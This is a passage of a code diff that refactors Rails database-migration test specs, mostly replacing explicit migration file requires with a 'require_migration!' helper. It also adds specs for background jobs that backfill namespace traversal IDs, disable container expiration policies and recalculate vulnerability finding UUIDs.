+++ b/spec/migrations/remove_security_dashboard_feature_flag_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200214034836_remove_security_dashboard_feature_flag.rb')
+require_migration!
RSpec.describe RemoveSecurityDashboardFeatureFlag do
let(:feature_gates) { table(:feature_gates) }
diff --git a/spec/migrations/rename_security_dashboard_feature_flag_to_instance_security_dashboard_spec.rb b/spec/migrations/rename_security_dashboard_feature_flag_to_instance_security_dashboard_spec.rb
index 83a79ac9795..fcbf94812fb 100644
--- a/spec/migrations/rename_security_dashboard_feature_flag_to_instance_security_dashboard_spec.rb
+++ b/spec/migrations/rename_security_dashboard_feature_flag_to_instance_security_dashboard_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200212014653_rename_security_dashboard_feature_flag_to_instance_security_dashboard.rb')
+require_migration!
RSpec.describe RenameSecurityDashboardFeatureFlagToInstanceSecurityDashboard do
let(:feature_gates) { table(:feature_gates) }
diff --git a/spec/migrations/rename_sitemap_namespace_spec.rb b/spec/migrations/rename_sitemap_namespace_spec.rb
index 83f0721c600..21b74587d50 100644
--- a/spec/migrations/rename_sitemap_namespace_spec.rb
+++ b/spec/migrations/rename_sitemap_namespace_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201102112206_rename_sitemap_namespace.rb')
+require_migration!
RSpec.describe RenameSitemapNamespace do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/rename_sitemap_root_namespaces_spec.rb b/spec/migrations/rename_sitemap_root_namespaces_spec.rb
index 7cbf27849b0..12a687194e0 100644
--- a/spec/migrations/rename_sitemap_root_namespaces_spec.rb
+++ b/spec/migrations/rename_sitemap_root_namespaces_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201019094741_rename_sitemap_root_namespaces.rb')
+require_migration!
RSpec.describe RenameSitemapRootNamespaces do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/reschedule_artifact_expiry_backfill_spec.rb b/spec/migrations/reschedule_artifact_expiry_backfill_spec.rb
index 532035849cb..c06ce3d5bea 100644
--- a/spec/migrations/reschedule_artifact_expiry_backfill_spec.rb
+++ b/spec/migrations/reschedule_artifact_expiry_backfill_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210224150506_reschedule_artifact_expiry_backfill.rb')
+require_migration!
RSpec.describe RescheduleArtifactExpiryBackfill, :migration do
let(:migration_class) { Gitlab::BackgroundMigration::BackfillArtifactExpiryDate }
diff --git a/spec/migrations/reseed_merge_trains_enabled_spec.rb b/spec/migrations/reseed_merge_trains_enabled_spec.rb
index 71ef0b47da9..14ed44151d3 100644
--- a/spec/migrations/reseed_merge_trains_enabled_spec.rb
+++ b/spec/migrations/reseed_merge_trains_enabled_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20201112195322_reseed_merge_trains_enabled.rb')
+require_migration!
RSpec.describe ReseedMergeTrainsEnabled do
describe 'migrate' do
diff --git a/spec/migrations/reseed_repository_storages_weighted_spec.rb b/spec/migrations/reseed_repository_storages_weighted_spec.rb
index 8abad3c0d93..d7efff3dfba 100644
--- a/spec/migrations/reseed_repository_storages_weighted_spec.rb
+++ b/spec/migrations/reseed_repository_storages_weighted_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'migrate', '20200509203901_reseed_repository_storages_weighted.rb')
+require_migration!
RSpec.describe ReseedRepositoryStoragesWeighted do
let(:storages) { { "foo" => {}, "baz" => {} } }
diff --git a/spec/migrations/retry_backfill_traversal_ids_spec.rb b/spec/migrations/retry_backfill_traversal_ids_spec.rb
new file mode 100644
index 00000000000..e5ebd4228ca
--- /dev/null
+++ b/spec/migrations/retry_backfill_traversal_ids_spec.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require Rails.root.join('db', 'post_migrate', '20210604070207_retry_backfill_traversal_ids.rb')
+
+RSpec.describe RetryBackfillTraversalIds, :migration do
+ include ReloadHelpers
+
+ let_it_be(:namespaces_table) { table(:namespaces) }
+
+ context 'when BackfillNamespaceTraversalIdsRoots jobs are pending' do
+ before do
+ table(:background_migration_jobs).create!(
+ class_name: 'BackfillNamespaceTraversalIdsRoots',
+ arguments: [1, 4, 100],
+ status: Gitlab::Database::BackgroundMigrationJob.statuses['pending']
+ )
+ table(:background_migration_jobs).create!(
+ class_name: 'BackfillNamespaceTraversalIdsRoots',
+ arguments: [5, 9, 100],
+ status: Gitlab::Database::BackgroundMigrationJob.statuses['succeeded']
+ )
+ end
+
+ it 'queues pending jobs' do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.length).to eq(1)
+ expect(BackgroundMigrationWorker.jobs[0]['args']).to eq(['BackfillNamespaceTraversalIdsRoots', [1, 4, 100]])
+ expect(BackgroundMigrationWorker.jobs[0]['at']).to be_nil
+ end
+ end
+
+ context 'when BackfillNamespaceTraversalIdsChildren jobs are pending' do
+ before do
+ table(:background_migration_jobs).create!(
+ class_name: 'BackfillNamespaceTraversalIdsChildren',
+ arguments: [1, 4, 100],
+ status: Gitlab::Database::BackgroundMigrationJob.statuses['pending']
+ )
+ table(:background_migration_jobs).create!(
+ class_name: 'BackfillNamespaceTraversalIdsRoots',
+ arguments: [5, 9, 100],
+ status: Gitlab::Database::BackgroundMigrationJob.statuses['succeeded']
+ )
+ end
+
+ it 'queues pending jobs' do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.length).to eq(1)
+ expect(BackgroundMigrationWorker.jobs[0]['args']).to eq(['BackfillNamespaceTraversalIdsChildren', [1, 4, 100]])
+ expect(BackgroundMigrationWorker.jobs[0]['at']).to be_nil
+ end
+ end
+
+ context 'when BackfillNamespaceTraversalIdsRoots and BackfillNamespaceTraversalIdsChildren jobs are pending' do
+ before do
+ table(:background_migration_jobs).create!(
+ class_name: 'BackfillNamespaceTraversalIdsRoots',
+ arguments: [1, 4, 100],
+ status: Gitlab::Database::BackgroundMigrationJob.statuses['pending']
+ )
+ table(:background_migration_jobs).create!(
+ class_name: 'BackfillNamespaceTraversalIdsChildren',
+ arguments: [5, 9, 100],
+ status: Gitlab::Database::BackgroundMigrationJob.statuses['pending']
+ )
+ table(:background_migration_jobs).create!(
+ class_name: 'BackfillNamespaceTraversalIdsRoots',
+ arguments: [11, 14, 100],
+ status: Gitlab::Database::BackgroundMigrationJob.statuses['succeeded']
+ )
+ table(:background_migration_jobs).create!(
+ class_name: 'BackfillNamespaceTraversalIdsChildren',
+ arguments: [15, 19, 100],
+ status: Gitlab::Database::BackgroundMigrationJob.statuses['succeeded']
+ )
+ end
+
+ it 'queues pending jobs' do
+ freeze_time do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.length).to eq(2)
+ expect(BackgroundMigrationWorker.jobs[0]['args']).to eq(['BackfillNamespaceTraversalIdsRoots', [1, 4, 100]])
+ expect(BackgroundMigrationWorker.jobs[0]['at']).to be_nil
+ expect(BackgroundMigrationWorker.jobs[1]['args']).to eq(['BackfillNamespaceTraversalIdsChildren', [5, 9, 100]])
+ expect(BackgroundMigrationWorker.jobs[1]['at']).to eq(RetryBackfillTraversalIds::DELAY_INTERVAL.from_now.to_f)
+ end
+ end
+ end
+end
diff --git a/spec/migrations/save_instance_administrators_group_id_spec.rb b/spec/migrations/save_instance_administrators_group_id_spec.rb
index cb11cd1653a..0846df18b5e 100644
--- a/spec/migrations/save_instance_administrators_group_id_spec.rb
+++ b/spec/migrations/save_instance_administrators_group_id_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200210092405_save_instance_administrators_group_id')
+require_migration!
RSpec.describe SaveInstanceAdministratorsGroupId do
let(:application_settings_table) { table(:application_settings) }
diff --git a/spec/migrations/schedule_backfill_push_rules_id_in_projects_spec.rb b/spec/migrations/schedule_backfill_push_rules_id_in_projects_spec.rb
index 37a769bbc52..7b71110e62d 100644
--- a/spec/migrations/schedule_backfill_push_rules_id_in_projects_spec.rb
+++ b/spec/migrations/schedule_backfill_push_rules_id_in_projects_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200325162730_schedule_backfill_push_rules_id_in_projects.rb')
+require_migration!
RSpec.describe ScheduleBackfillPushRulesIdInProjects do
let(:push_rules) { table(:push_rules) }
diff --git a/spec/migrations/schedule_blocked_by_links_replacement_second_try_spec.rb b/spec/migrations/schedule_blocked_by_links_replacement_second_try_spec.rb
index 9cd1b98fbd7..f2a0bdba32a 100644
--- a/spec/migrations/schedule_blocked_by_links_replacement_second_try_spec.rb
+++ b/spec/migrations/schedule_blocked_by_links_replacement_second_try_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201102073808_schedule_blocked_by_links_replacement_second_try')
+require_migration!
RSpec.describe ScheduleBlockedByLinksReplacementSecondTry do
let(:namespace) { table(:namespaces).create!(name: 'gitlab', path: 'gitlab-org') }
diff --git a/spec/migrations/schedule_calculate_wiki_sizes_spec.rb b/spec/migrations/schedule_calculate_wiki_sizes_spec.rb
deleted file mode 100644
index 0af491d863b..00000000000
--- a/spec/migrations/schedule_calculate_wiki_sizes_spec.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190527194900_schedule_calculate_wiki_sizes.rb')
-
-RSpec.describe ScheduleCalculateWikiSizes do
- let(:migration_class) { Gitlab::BackgroundMigration::CalculateWikiSizes }
- let(:migration_name) { migration_class.to_s.demodulize }
-
- let(:namespaces) { table(:namespaces) }
- let(:projects) { table(:projects) }
- let(:project_statistics) { table(:project_statistics) }
- let(:namespace) { namespaces.create!(name: 'wiki-migration', path: 'wiki-migration') }
- let(:project1) { projects.create!(name: 'wiki-project-1', path: 'wiki-project-1', namespace_id: namespace.id) }
- let(:project2) { projects.create!(name: 'wiki-project-2', path: 'wiki-project-2', namespace_id: namespace.id) }
- let(:project3) { projects.create!(name: 'wiki-project-3', path: 'wiki-project-3', namespace_id: namespace.id) }
-
- context 'when missing wiki sizes exist' do
- let!(:project_statistic1) { project_statistics.create!(project_id: project1.id, namespace_id: namespace.id, wiki_size: 1000) }
- let!(:project_statistic2) { project_statistics.create!(project_id: project2.id, namespace_id: namespace.id, wiki_size: nil) }
- let!(:project_statistic3) { project_statistics.create!(project_id: project3.id, namespace_id: namespace.id, wiki_size: nil) }
-
- it 'schedules a background migration' do
- freeze_time do
- migrate!
-
- expect(migration_name).to be_scheduled_delayed_migration(5.minutes, project_statistic2.id, project_statistic3.id)
- expect(BackgroundMigrationWorker.jobs.size).to eq 1
- end
- end
-
- it 'calculates missing wiki sizes', :sidekiq_inline do
- expect(project_statistic2.wiki_size).to be_nil
- expect(project_statistic3.wiki_size).to be_nil
-
- migrate!
-
- expect(project_statistic2.reload.wiki_size).not_to be_nil
- expect(project_statistic3.reload.wiki_size).not_to be_nil
- end
- end
-
- context 'when missing wiki sizes do not exist' do
- before do
- namespace = namespaces.create!(name: 'wiki-migration', path: 'wiki-migration')
- project = projects.create!(name: 'wiki-project-1', path: 'wiki-project-1', namespace_id: namespace.id)
- project_statistics.create!(project_id: project.id, namespace_id: namespace.id, wiki_size: 1000)
- end
-
- it 'does not schedule a background migration' do
- Sidekiq::Testing.fake! do
- freeze_time do
- migrate!
-
- expect(BackgroundMigrationWorker.jobs.size).to eq 0
- end
- end
- end
- end
-end
diff --git a/spec/migrations/schedule_disable_expiration_policies_linked_to_no_container_images_spec.rb b/spec/migrations/schedule_disable_expiration_policies_linked_to_no_container_images_spec.rb
new file mode 100644
index 00000000000..888d306f893
--- /dev/null
+++ b/spec/migrations/schedule_disable_expiration_policies_linked_to_no_container_images_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe ScheduleDisableExpirationPoliciesLinkedToNoContainerImages do
+ let_it_be(:projects) { table(:projects) }
+ let_it_be(:container_expiration_policies) { table(:container_expiration_policies) }
+ let_it_be(:container_repositories) { table(:container_repositories) }
+ let_it_be(:namespaces) { table(:namespaces) }
+ let_it_be(:namespace) { namespaces.create!(name: 'test', path: 'test') }
+
+ let_it_be(:policy1) { create_expiration_policy(id: 1, enabled: true) }
+ let_it_be(:policy2) { create_expiration_policy(id: 2, enabled: false) }
+ let_it_be(:policy3) { create_expiration_policy(id: 3, enabled: false) }
+ let_it_be(:policy4) { create_expiration_policy(id: 4, enabled: true) }
+ let_it_be(:policy5) { create_expiration_policy(id: 5, enabled: false) }
+ let_it_be(:policy6) { create_expiration_policy(id: 6, enabled: false) }
+ let_it_be(:policy7) { create_expiration_policy(id: 7, enabled: true) }
+ let_it_be(:policy8) { create_expiration_policy(id: 8, enabled: true) }
+ let_it_be(:policy9) { create_expiration_policy(id: 9, enabled: true) }
+
+ it 'schedules background migrations', :aggregate_failures do
+ stub_const("#{described_class}::BATCH_SIZE", 2)
+
+ Sidekiq::Testing.fake! do
+ freeze_time do
+ migrate!
+
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, 1, 4)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(4.minutes, 7, 8)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(6.minutes, 9, 9)
+
+ expect(BackgroundMigrationWorker.jobs.size).to eq(3)
+ end
+ end
+ end
+
+ def create_expiration_policy(id:, enabled:)
+ project = projects.create!(id: id, namespace_id: namespace.id, name: "gitlab-#{id}")
+ container_expiration_policies.create!(
+ enabled: enabled,
+ project_id: project.id
+ )
+ end
+end
diff --git a/spec/migrations/schedule_fill_valid_time_for_pages_domain_certificates_spec.rb b/spec/migrations/schedule_fill_valid_time_for_pages_domain_certificates_spec.rb
index 539b9ee96a8..45bd5073d55 100644
--- a/spec/migrations/schedule_fill_valid_time_for_pages_domain_certificates_spec.rb
+++ b/spec/migrations/schedule_fill_valid_time_for_pages_domain_certificates_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190524073827_schedule_fill_valid_time_for_pages_domain_certificates.rb')
+require_migration!
RSpec.describe ScheduleFillValidTimeForPagesDomainCertificates do
let(:migration_class) { described_class::MIGRATION }
diff --git a/spec/migrations/schedule_link_lfs_objects_projects_spec.rb b/spec/migrations/schedule_link_lfs_objects_projects_spec.rb
index 2384c5d5ce7..29c203c2c31 100644
--- a/spec/migrations/schedule_link_lfs_objects_projects_spec.rb
+++ b/spec/migrations/schedule_link_lfs_objects_projects_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200310075115_schedule_link_lfs_objects_projects.rb')
+require_migration!
RSpec.describe ScheduleLinkLfsObjectsProjects, :migration, :sidekiq do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/schedule_merge_request_cleanup_schedules_backfill_spec.rb b/spec/migrations/schedule_merge_request_cleanup_schedules_backfill_spec.rb
index fa8dd38619a..319c0802f2c 100644
--- a/spec/migrations/schedule_merge_request_cleanup_schedules_backfill_spec.rb
+++ b/spec/migrations/schedule_merge_request_cleanup_schedules_backfill_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe ScheduleMergeRequestCleanupSchedulesBackfill, :sidekiq, schema: 2
stub_const("#{described_class}::BATCH_SIZE", 2)
end
- it 'schdules BackfillMergeRequestCleanupSchedules background jobs' do
+ it 'schedules BackfillMergeRequestCleanupSchedules background jobs' do
Sidekiq::Testing.fake! do
migrate!
diff --git a/spec/migrations/schedule_migrate_pages_to_zip_storage_spec.rb b/spec/migrations/schedule_migrate_pages_to_zip_storage_spec.rb
index 1d35da528e4..29e4cf05c2b 100644
--- a/spec/migrations/schedule_migrate_pages_to_zip_storage_spec.rb
+++ b/spec/migrations/schedule_migrate_pages_to_zip_storage_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20210302150310_schedule_migrate_pages_to_zip_storage.rb')
+require_migration!
RSpec.describe ScheduleMigratePagesToZipStorage, :sidekiq_might_not_need_inline, schema: 20201231133921 do
let(:migration_class) { described_class::MIGRATION }
diff --git a/spec/migrations/schedule_migrate_security_scans_spec.rb b/spec/migrations/schedule_migrate_security_scans_spec.rb
index eb86a910611..ce926241ba6 100644
--- a/spec/migrations/schedule_migrate_security_scans_spec.rb
+++ b/spec/migrations/schedule_migrate_security_scans_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200217225719_schedule_migrate_security_scans.rb')
+require_migration!
RSpec.describe ScheduleMigrateSecurityScans, :sidekiq do
let(:migration) { described_class.new }
diff --git a/spec/migrations/schedule_migrate_u2f_webauthn_spec.rb b/spec/migrations/schedule_migrate_u2f_webauthn_spec.rb
index 5dc4d676063..48f098e34fc 100644
--- a/spec/migrations/schedule_migrate_u2f_webauthn_spec.rb
+++ b/spec/migrations/schedule_migrate_u2f_webauthn_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200929114107_schedule_migrate_u2f_webauthn.rb')
+require_migration!
RSpec.describe ScheduleMigrateU2fWebauthn do
let(:migration_name) { described_class::MIGRATION }
diff --git a/spec/migrations/schedule_pages_metadata_migration_spec.rb b/spec/migrations/schedule_pages_metadata_migration_spec.rb
index 94311237cf4..96fbc1f9f51 100644
--- a/spec/migrations/schedule_pages_metadata_migration_spec.rb
+++ b/spec/migrations/schedule_pages_metadata_migration_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20191002031332_schedule_pages_metadata_migration')
+require_migration!
RSpec.describe SchedulePagesMetadataMigration do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/schedule_populate_issue_email_participants_spec.rb b/spec/migrations/schedule_populate_issue_email_participants_spec.rb
index a3f18617b70..3a7a4e4df1e 100644
--- a/spec/migrations/schedule_populate_issue_email_participants_spec.rb
+++ b/spec/migrations/schedule_populate_issue_email_participants_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201128210234_schedule_populate_issue_email_participants.rb')
+require_migration!
RSpec.describe SchedulePopulateIssueEmailParticipants do
let!(:namespace) { table(:namespaces).create!(name: 'namespace', path: 'namespace') }
diff --git a/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb b/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb
index 1f44df82ad0..3caab64a72d 100644
--- a/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb
+++ b/spec/migrations/schedule_populate_merge_request_assignees_table_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190322132835_schedule_populate_merge_request_assignees_table.rb')
+require_migration!
RSpec.describe SchedulePopulateMergeRequestAssigneesTable do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/schedule_populate_personal_snippet_statistics_spec.rb b/spec/migrations/schedule_populate_personal_snippet_statistics_spec.rb
index faa993dfbc7..5f764a1ee8f 100644
--- a/spec/migrations/schedule_populate_personal_snippet_statistics_spec.rb
+++ b/spec/migrations/schedule_populate_personal_snippet_statistics_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200714075739_schedule_populate_personal_snippet_statistics.rb')
+require_migration!
RSpec.describe SchedulePopulatePersonalSnippetStatistics do
let(:users) { table(:users) }
diff --git a/spec/migrations/schedule_populate_project_snippet_statistics_spec.rb b/spec/migrations/schedule_populate_project_snippet_statistics_spec.rb
index d5f048ed5cb..4ac107c5202 100644
--- a/spec/migrations/schedule_populate_project_snippet_statistics_spec.rb
+++ b/spec/migrations/schedule_populate_project_snippet_statistics_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200709101408_schedule_populate_project_snippet_statistics.rb')
+require_migration!
RSpec.describe SchedulePopulateProjectSnippetStatistics do
let(:users) { table(:users) }
diff --git a/spec/migrations/schedule_populate_user_highest_roles_table_spec.rb b/spec/migrations/schedule_populate_user_highest_roles_table_spec.rb
index 32def8ab47d..0a2ee82b349 100644
--- a/spec/migrations/schedule_populate_user_highest_roles_table_spec.rb
+++ b/spec/migrations/schedule_populate_user_highest_roles_table_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200311130802_schedule_populate_user_highest_roles_table.rb')
+require_migration!
RSpec.describe SchedulePopulateUserHighestRolesTable do
let(:users) { table(:users) }
diff --git a/spec/migrations/schedule_recalculate_project_authorizations_second_run_spec.rb b/spec/migrations/schedule_recalculate_project_authorizations_second_run_spec.rb
index a02e00de1e3..380d107250b 100644
--- a/spec/migrations/schedule_recalculate_project_authorizations_second_run_spec.rb
+++ b/spec/migrations/schedule_recalculate_project_authorizations_second_run_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200204113224_schedule_recalculate_project_authorizations_second_run.rb')
+require_migration!
RSpec.describe ScheduleRecalculateProjectAuthorizationsSecondRun do
let(:users_table) { table(:users) }
diff --git a/spec/migrations/schedule_recalculate_project_authorizations_spec.rb b/spec/migrations/schedule_recalculate_project_authorizations_spec.rb
index 378e6aa133d..a4400c2ac83 100644
--- a/spec/migrations/schedule_recalculate_project_authorizations_spec.rb
+++ b/spec/migrations/schedule_recalculate_project_authorizations_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200204113223_schedule_recalculate_project_authorizations.rb')
+require_migration!
RSpec.describe ScheduleRecalculateProjectAuthorizations do
let(:users_table) { table(:users) }
diff --git a/spec/migrations/schedule_recalculate_project_authorizations_third_run_spec.rb b/spec/migrations/schedule_recalculate_project_authorizations_third_run_spec.rb
index 5328abf7ea7..302ae1d5ebe 100644
--- a/spec/migrations/schedule_recalculate_project_authorizations_third_run_spec.rb
+++ b/spec/migrations/schedule_recalculate_project_authorizations_third_run_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200204113225_schedule_recalculate_project_authorizations_third_run.rb')
+require_migration!
RSpec.describe ScheduleRecalculateProjectAuthorizationsThirdRun do
let(:users_table) { table(:users) }
diff --git a/spec/migrations/schedule_recalculate_uuid_on_vulnerabilities_occurrences2_spec.rb b/spec/migrations/schedule_recalculate_uuid_on_vulnerabilities_occurrences2_spec.rb
new file mode 100644
index 00000000000..e7d1813e428
--- /dev/null
+++ b/spec/migrations/schedule_recalculate_uuid_on_vulnerabilities_occurrences2_spec.rb
@@ -0,0 +1,127 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require_migration!
+
+RSpec.describe ScheduleRecalculateUuidOnVulnerabilitiesOccurrences2 do
+ let(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
+ let(:users) { table(:users) }
+ let(:user) { create_user! }
+ let(:project) { table(:projects).create!(id: 123, namespace_id: namespace.id) }
+ let(:scanners) { table(:vulnerability_scanners) }
+ let(:scanner) { scanners.create!(project_id: project.id, external_id: 'test 1', name: 'test scanner 1') }
+ let(:different_scanner) { scanners.create!(project_id: project.id, external_id: 'test 2', name: 'test scanner 2') }
+ let(:vulnerabilities) { table(:vulnerabilities) }
+ let(:vulnerabilities_findings) { table(:vulnerability_occurrences) }
+ let(:vulnerability_identifiers) { table(:vulnerability_identifiers) }
+ let(:vulnerability_identifier) do
+ vulnerability_identifiers.create!(
+ project_id: project.id,
+ external_type: 'uuid-v5',
+ external_id: 'uuid-v5',
+ fingerprint: '7e394d1b1eb461a7406d7b1e08f057a1cf11287a',
+ name: 'Identifier for UUIDv5')
+ end
+
+ let(:different_vulnerability_identifier) do
+ vulnerability_identifiers.create!(
+ project_id: project.id,
+ external_type: 'uuid-v4',
+ external_id: 'uuid-v4',
+ fingerprint: '772da93d34a1ba010bcb5efa9fb6f8e01bafcc89',
+ name: 'Identifier for UUIDv4')
+ end
+
+ let(:vulnerability_for_uuidv4) do
+ create_vulnerability!(
+ project_id: project.id,
+ author_id: user.id
+ )
+ end
+
+ let(:vulnerability_for_uuidv5) do
+ create_vulnerability!(
+ project_id: project.id,
+ author_id: user.id
+ )
+ end
+
+ let!(:finding1) do
+ create_finding!(
+ vulnerability_id: vulnerability_for_uuidv4.id,
+ project_id: project.id,
+ scanner_id: different_scanner.id,
+ primary_identifier_id: different_vulnerability_identifier.id,
+ location_fingerprint: 'fa18f432f1d56675f4098d318739c3cd5b14eb3e',
+ uuid: 'b3cc2518-5446-4dea-871c-89d5e999c1ac'
+ )
+ end
+
+ let!(:finding2) do
+ create_finding!(
+ vulnerability_id: vulnerability_for_uuidv5.id,
+ project_id: project.id,
+ scanner_id: scanner.id,
+ primary_identifier_id: vulnerability_identifier.id,
+ location_fingerprint: '838574be0210968bf6b9f569df9c2576242cbf0a',
+ uuid: '77211ed6-7dff-5f6b-8c9a-da89ad0a9b60'
+ )
+ end
+
+ before do
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+ end
+
+ around do |example|
+ freeze_time { Sidekiq::Testing.fake! { example.run } }
+ end
+
+ it 'schedules background migrations', :aggregate_failures do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.size).to eq(2)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(2.minutes, finding1.id, finding1.id)
+ expect(described_class::MIGRATION).to be_scheduled_delayed_migration(4.minutes, finding2.id, finding2.id)
+ end
+
+ private
+
+ def create_vulnerability!(project_id:, author_id:, title: 'test', severity: 7, confidence: 7, report_type: 0)
+ vulnerabilities.create!(
+ project_id: project_id,
+ author_id: author_id,
+ title: title,
+ severity: severity,
+ confidence: confidence,
+ report_type: report_type
+ )
+ end
+
+ def create_finding!(
+ vulnerability_id:, project_id:, scanner_id:, primary_identifier_id:, location_fingerprint:, uuid:)
+ vulnerabilities_findings.create!(
+ vulnerability_id: vulnerability_id,
+ project_id: project_id,
+ name: 'test',
+ severity: 7,
+ confidence: 7,
+ report_type: 0,
+ project_fingerprint: '123qweasdzxc',
+ scanner_id: scanner_id,
+ primary_identifier_id: primary_identifier_id,
+ location_fingerprint: location_fingerprint,
+ metadata_version: 'test',
+ raw_metadata: 'test',
+ uuid: uuid
+ )
+ end
+
+ def create_user!(name: "Example User", email: "user@example.com", user_type: nil)
+ users.create!(
+ name: name,
+ email: email,
+ username: name,
+ projects_limit: 0
+ )
+ end
+end
diff --git a/spec/migrations/schedule_sync_issuables_state_id_spec.rb b/spec/migrations/schedule_sync_issuables_state_id_spec.rb
index d22d636e084..5a7105a0c84 100644
--- a/spec/migrations/schedule_sync_issuables_state_id_spec.rb
+++ b/spec/migrations/schedule_sync_issuables_state_id_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190214112022_schedule_sync_issuables_state_id.rb')
+require_migration!
RSpec.describe ScheduleSyncIssuablesStateId do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/schedule_sync_issuables_state_id_where_nil_spec.rb b/spec/migrations/schedule_sync_issuables_state_id_where_nil_spec.rb
index 3d450f0e6bc..d8eaaa1df04 100644
--- a/spec/migrations/schedule_sync_issuables_state_id_where_nil_spec.rb
+++ b/spec/migrations/schedule_sync_issuables_state_id_where_nil_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20190506135400_schedule_sync_issuables_state_id_where_nil')
+require_migration!
RSpec.describe ScheduleSyncIssuablesStateIdWhereNil do
let(:namespaces) { table(:namespaces) }
diff --git a/spec/migrations/schedule_update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb b/spec/migrations/schedule_update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb
index deb7aae737a..8f265acccae 100644
--- a/spec/migrations/schedule_update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb
+++ b/spec/migrations/schedule_update_existing_subgroup_to_match_visibility_level_of_parent_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20200110121314_schedule_update_existing_subgroup_to_match_visibility_level_of_parent.rb')
+require_migration!
RSpec.describe ScheduleUpdateExistingSubgroupToMatchVisibilityLevelOfParent do
include MigrationHelpers::NamespacesHelpers
diff --git a/spec/migrations/schedule_update_existing_users_that_require_two_factor_auth_spec.rb b/spec/migrations/schedule_update_existing_users_that_require_two_factor_auth_spec.rb
index 74f24906e41..a839229ec22 100644
--- a/spec/migrations/schedule_update_existing_users_that_require_two_factor_auth_spec.rb
+++ b/spec/migrations/schedule_update_existing_users_that_require_two_factor_auth_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-require Rails.root.join('db', 'post_migrate', '20201030121314_schedule_update_existing_users_that_require_two_factor_auth.rb')
+require_migration!
